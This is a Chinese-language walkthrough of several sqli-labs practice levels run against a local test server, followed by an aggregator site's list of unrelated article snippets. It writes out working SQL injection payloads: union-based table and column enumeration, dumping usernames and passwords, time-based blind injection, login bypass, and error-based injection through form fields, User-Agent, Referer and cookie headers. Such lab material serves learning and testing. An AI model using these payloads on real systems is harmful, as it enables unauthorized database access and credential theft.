sqli-labs闯关

目录

less-01:

less-08:

less-19:

less-20:


项目地址—Github

使用HackBar插件

less-01:


Sqli-labs前20关均为数字型注入

Sqli-labs前四关较为类似以less-01为模板

将网址导入HackBar中:

1.根据提示,输入http://127.0.0.1/sqli/Less-1/?id=1'查看注入:

正常报错,输入--+进行注释:

2.输入http://127.0.0.1/sqli/Less-1/?id=1' order by 1--+查找:

出现用户名和密码。

继续输入 order by 2--+,order by 3--+,当输入 order by 4--+时:

出现报错,说明数据库只有三列

3.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

来判断三列数据的回显点,用1,2,3来标记:

4.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+在3回显点处输出当前数据库名:

5.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1--+查看位于security库下的第一个表:

limit 0,1; 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据。(security库中)

通过limit x,1可以一个一个查看表名,也可使用函数将数据一起输出:

concat()函数用于将多个字符串连接成一个字符串。

语法及使用特点: concat(str1,str2,…)

group_cincat()函数返回一个字符串结果,该结果由分组中的值连接组合而成。

6.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+查看库中所有的表:

7.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1--+查看user表中的第一个列:

同上运用函数可输出所有的列:

8.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+查看一个账号和密码以“~”隔开

concat_ws()函数指定参数之间的分隔符

使用语法为:concat_ws(separator,str1,str2,…)

结合函数可得到所有账号和密码:

less-08:


输入http://127.0.0.1/sqli-labs-master/Less-8/?id=1'--+

判断这里出现注入漏洞‘

此关盲注有两种方法:

(1)布尔盲注:

与第五关完全相同。

(2)时间盲注:

IF(condition,A,B)

如果条件condition为true,则执行语句A,否则执行B

输入 http://127.0.0.1/sqli/Less-8/?id=1' and if(length(database()) = 8,1,sleep(5))--+

即当数据库长度为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)。

也有 http://127.0.0.1/sqli/Less-8/?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+

如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。

通过时间盲注的方式,可以用盲注的流程得到数据。
 

第十一关开始都为POST传输方式:

可在主页直接填写进行POST传输,也可使用HarkBar的POST传输方式:

less-11:

POST传输方式

这是正确的登录界面:

在username中填写',出现报错可知存在注入漏洞。

在username中填写 admin' or 1=1#

(此处不能使用--+,因为--+主要使用在url中,#是通用的)

或uname=a' or 1=1 #& passwd=a &submit=Submit

登录成功,可以验证存在注入漏洞.

也可在password位置进行验证:uname=a&passwd=a' or 1=1# &submit=Submit

一样可以成功登录。

使用uname=a' order by 2#&passwd=a &submit=Submit

或用 uname=a&passwd=a' order by 2# &submit=Submit

可判断有两列。

使用uname=a&passwd=a' union select 1,database() # &submit=Submit 或用uname=a' union select 1,database() # &passwd=a&submit=Submit

可查询到当前数据库信息。

剩下的原理与前五关相同:

使用uname=a' union select 1,(select schema_name from information_schema.schemata limit 1,1) # &passwd=a&submit=Submit 可以查询到当前的第一个数据库, 或用:uname=a' union select 1,(select group_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit 可以得到所有的数据库。

uname=a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479) # &passwd=a&submit=Submit 可以得到security数据库中的所有的表信息.

uname=a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) # &passwd=a&submit=Submit 通过users表获得里面值

uname=a' union select 1, group_concat(concat_ws('~',username,password)) from security.users # &passwd=a&submit=Submit 此时就可以得到里面所有的数据。

less-17:
•使用了get_magic_quotes_gpc , name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义

•首先我们要知道用户的名字是多少,然后才可以进行接下来的操作

这里用updatexml()报错注入

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

而我们的注入语句为:

select updatexml(1,concat(0x7e,()),1)

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出结果

输入 uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#&submit=Submit

可以得到security库下面的其中一个表名字,也可改变参数或取其他表。

输入uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)#&submit=Submit

同样的方法可以获得其他的数据

注意:
十七关可以改密码,改动会保存在数据库中。

less-18:

Harder注入.

登录失败显示ip地址:

登录成功显示ip地址和User-Agent:

经测试用户名和密码处有转义无法进行注入,需用burpsuite进行抓包,进行Harder注入.

先进行抓包:

将' or updatexml(1,concat(0x7e,(database())),1), '','')# 填入User-Agent中进行注入

可知道当前库。

同样输入' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1), '','')#

获取库名。

输入' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1), '','')#

获取表名。

输入' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1), '','')#

获取列名。

输入' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1), '','')#

获取字段吗名等。

less-19:


登陆成功会显示Referer信息:

登陆失败不显示任何信息:

此关除此之外与十八关无任何区别。

less-20:


登录成功:

本关将username放在了cookie里,可在cookie里进行注入。

使用burpsuite进行抓包:

可见username在cookie里。

在cookie里输入' union select 1,2,database()#

接下来就是在cookie里进行简单的注入像前五关。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/128778.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

算法[动态规划]---买卖股票最佳时机

1、题目: 给你一个整数数组 prices,其中 prices[i] 表示某支股票第 i 天的价格。 在每一天,你可以决定是否购买和/或出售股票。你在任何时候最多只能持一股股票。你也可以先购买,然后在同一天出售。 返回你能获得的最大利润 。 2…

9. xaml ComboBox控件

1.运行图像 2.运行源码 a.Xaml源码 <Grid Name="Grid1"><!--IsDropDownOpen="True" 默认就是打开的--><ComboBox x:Name="co

完成Centos上使用SSH公钥进行免密上传文件到gitee的步骤后,测试免密推送到gitee的时候还是需要输入邮箱和密码

如果你已经按照正确的步骤设置了SSH公钥并进行了免密测试&#xff0c;但仍然需要输入邮箱地址和密码才能推送到gitee&#xff0c;那么可能有以下几种原因&#xff1a; 您可能没有使用SSH URL来推送代码。请确保您使用的是SSH URL而不是HTTPS URL来推送代码。您可以使用命令 gi…

电商3D资产优化管线的自动化

如果你曾经尝试将从 CAD 程序导出的 3D 模型上传到 WebGL 或 AR 服务&#xff0c;那么可能会遇到最大文件大小、永无休止的进度条和糟糕的帧速率等问题。 为了创作良好的在线交互体验&#xff0c;优化 3D 数据的大小和性能至关重要。 这也有利于你的盈利&#xff0c;因为较小的…

GDB用法(三)

预备 测试代码参照GDB用法(二) 命令历史 可以将命令历史保存到文件中 (show history) 展示当前gdb中history的设置信息 设置expansion (set history expansion) 打开历史扩展 能使用历史处理命令对历史数据进行处理, 暂不细究 (show history expansion) 展示历史扩展配置…

什么是原生IP?原生IP与住宅IP有何区别?

相信许多做跨境的都会接触到IP代理&#xff0c;比如电商平台、社媒平台、收款平台等等&#xff0c;都会检测IP。那也会经常听到一些词汇&#xff1a;原生IP、住宅IP&#xff0c;这两者之间有什么区别呢&#xff1f;什么业务需要用到呢&#xff1f;接下来带大家具体了解一下。 什…

软件架构设计(十三) 构件与中间件技术

中间件的定义 其实中间件是属于构件的一种。是一种独立的系统软件或服务程序,可以帮助分布式应用软件在不同技术之间共享资源。 我们把它定性为一类系统软件,比如我们常说的消息中间件,数据库中间件等等都是中间件的一种体现。一般情况都是给应用系统提供服务,而不是直接…

Jenkins介绍

Jenkins介绍 持续集成、持续部署的工具很多&#xff0c;其中Jenkins是一个开源的持续集成平台。 Jenkins涉及到将编写完毕的代码发布到测试环境和生产环境的任务&#xff0c;并且还涉及到了构建项目等任务。 Jenkins需要大量的插件保证工作&#xff0c;安装成本较高&#xff0…

MyBatis框架中各种参数类型绑定的方式

MyBatis框架中各种参数类型绑定的方式 一、MyBatis参数绑定 MyBatis框架中&#xff0c;通过Mapper接口和Mapper映射文件的方式来操作数据库的时候&#xff0c;可能需要通过Mapper接口中的方法传递相应的参数拼接到SQL语句上面&#xff0c;那么Mybatis将传递的参数映射到对应S…

Debian11安装MySQL8.0,链接Navicat

图文小白教程 1 下载安装MySQL1.1 从MySQL官网下载安装文件1.2 安装MySQL1.3 登录MySQL 2 配置Navicat远程访问2.1 修改配置2.2 Navicat 连接 end: 卸载 MySQL 记录于2023年9月&#xff0c;Debian11 、 MySQL 8.0.34 1 下载安装MySQL 1.1 从MySQL官网下载安装文件 打开 MySQ…

FFmpeg入门之FFmpeg源码编译

1.源码下载: git clone https://github.com/FFmpeg/FFmpeg.git windows : macos: ubuntu: 2.编译FFmpeg CompilationGuide – FFmpeg windows: 1.下载yasm并安装 : Download - The Yasm Modular Assembler Project 下载后复制到c:/windows 2.下载SDL 3.下载H264/265源码 git…

stringBuffer.append(“字符串参数“);这个在字符串参数后添加空格怎么写

stringBuffer.append(“字符串参数”);这个在字符串参数后添加空格怎么写&#xff1f; 要在字符串参数后添加空格&#xff0c;可以直接在字符串参数的末尾使用空格字符&#xff0c;像这样&#xff1a; stringBuffer.append("字符串参数 ");这样就在字符串参数后添加…

【HTML5高级第三篇】drag拖拽、音频视频、defer/async属性、dialog应用

文章目录 一、拖拽事件1.1 拖拽事件1.2 案例&#xff1a;拖拽丢弃图片 二、音频和视频三、defer 与 async 属性3.1 概述3.2 示例一&#xff1a;3.3 示例二&#xff1a; 四、dialog 元素 一、拖拽事件 原生JavaScipt案例合集 JavaScript DOM基础 JavaScript 基础到高级 Canvas…

637. 二叉树的层平均值

637. 二叉树的层平均值 题目-简单难度示例1. bfs 题目-简单难度 给定一个非空二叉树的根节点 root , 以数组的形式返回每一层节点的平均值。与实际答案相差 10-5 以内的答案可以被接受。 示例 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&…

爬虫逆向实战(29)-某蜂窝详情页(cookie、混淆、MD5、SHA)

一、数据接口分析 主页地址&#xff1a;某蜂窝 1、抓包 通过抓包可以发现数据是静态的&#xff0c;在html中。 2、判断是否有加密参数 请求参数是否加密&#xff1f; 无请求头是否加密&#xff1f; 无响应是否加密&#xff1f; 无cookie是否加密&#xff1f; 通过查看“c…

Windows wsl2安装Ubuntu

wsl&#xff08;Windows Subsystem for Linux&#xff09;即适用于Windows的Linux子系统&#xff0c;是一个实现在Windows 10 / 11上运行原生Linux的技术。 wsl2 为其迭代版本&#xff0c;可以更好的在Windows上运行Linux子系统。 这里以 Windows 11 安装Ubuntu作为示例。 开启…

kafka学习-消费者

目录 1、消费者、消费组 2、心跳机制 3、消费者常见参数配置 4、订阅 5、反序列化 基本概念 自定义反序列化器 6、位移提交 6.1、自动提交 6.2、手动提交 同步提交 异步提交 7、再均衡 7.1、定义与基本概念 7.2、缺陷 7.3、如何避免再均衡 7.4、如何进行组内分…

电脑同时连接有线和无线网络怎么设置网络的优先级

电脑同时连接有线和无线网络怎么设置网络的优先级&#xff1a; 我们知道在 笔记本电脑系统 中&#xff0c;可以通过有线或无线网络进行联网。如果电脑在有线网络和无线网络同时存在的情况&#xff0c;应该怎么设置有线网络优先连接呢?对此我们提供下面的方法可以让电脑在有Wi…

链路追踪Skywalking快速入门

目录 1 Skywalking概述1.1 微服务系统监控三要素1.2 什么是链路追踪1.2.1 链路追踪1.2.2 OpenTracing1、数据模型&#xff1a;2、核心接口语义 1.3 常见APM系统1.4 Skywalking介绍1、SkyWalking 核心功能&#xff1a;2、SkyWalking 特点&#xff1a;3、Skywalking架构图&#x…

【C++】string类模拟实现上篇(附完整源码)

目录 前言1. string的基本结构2. 构造函数、析构函数2.1 构造函数的实现2.1.1带参构造函数 2.2析构函数2.3无参构造函数2.4无参和带参构造函数合并 3. string的遍历3.1 operator[ ]3.2迭代器模拟实现 (简单实现&#xff09;3.3 const迭代器模拟实现 4. 数据的增删查改4.1 reser…